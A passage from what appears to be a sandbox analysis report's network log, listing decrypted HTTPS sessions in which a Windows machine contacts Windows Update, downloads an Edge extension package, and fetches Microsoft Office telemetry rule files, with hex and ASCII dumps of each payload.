2024-11-16 18:22:23 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49731	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=sxBUYyGPB4eb3VE&MD=xZkMBfWK HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-16 18:22:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 7a73f54d-e55b-4ed8-94a1-bc15214629a0 MS-RequestId: 15f7cae2-321d-4626-ac2e-f55f67468064 MS-CV: L8HdhAL+EESQBFQM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 16 Nov 2024 18:22:21 GMT Connection: close Content-Length: 24490
2024-11-16 18:22:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-16 18:22:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49750	172.217.18.1	443	7908	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:25 UTC	594	OUT	GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 18:22:25 UTC	565	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AFiumC6BqkIlHmKK_jc3AgzHFXfK0a5rXV-PbheFgVcSVLB6UXrgSLSh7NdNrfaB6I78yqupXiQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Sat, 16 Nov 2024 17:26:51 GMT Expires: Sun, 16 Nov 2025 17:26:51 GMT Cache-Control: public, max-age=31536000 Age: 3334 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-16 18:22:25 UTC	813	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc 7e b6 70 ca 3d d5 33 ab Data Ascii: ?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ~p=3
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 ee 75 a8 ae 07 7e 6c 80 Data Ascii: xC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$u~l
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 09 91 a0 a4 e8 82 d5 d0 Data Ascii: H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 2d 1d cf 3d 1a be 73 e7 Data Ascii: !3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w-=s
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 b4 ff a2 0b 44 8c 6c 9f Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?BrfDl
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 0a 53 59 ae f5 66 32 61 Data Ascii: ((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79SYf2a
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 21 00 dd 3a a8 e3 88 ec Data Ascii: {z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&!:
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f ae 25 09 87 d3 41 99 c5 Data Ascii: TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/%A
2024-11-16 18:22:25 UTC	1378	IN	Data Raw: 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/messages.j

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:25 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:25 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 57a2975a-501e-0078-749b-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182225Z-16547b76f7f2b5qzhC1DFWeag400000001dg0000000065gf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:25 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:25 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:25 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182225Z-1866b5c5fbblmztchC1DFWs6v400000001u0000000001yw3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 18:22:25 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 18:22:25 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 18:22:25 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 18:22:25 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T182225Z-16547b76f7f5b5tthC1DFWuk8400000001s000000000fx64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 18:22:25 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
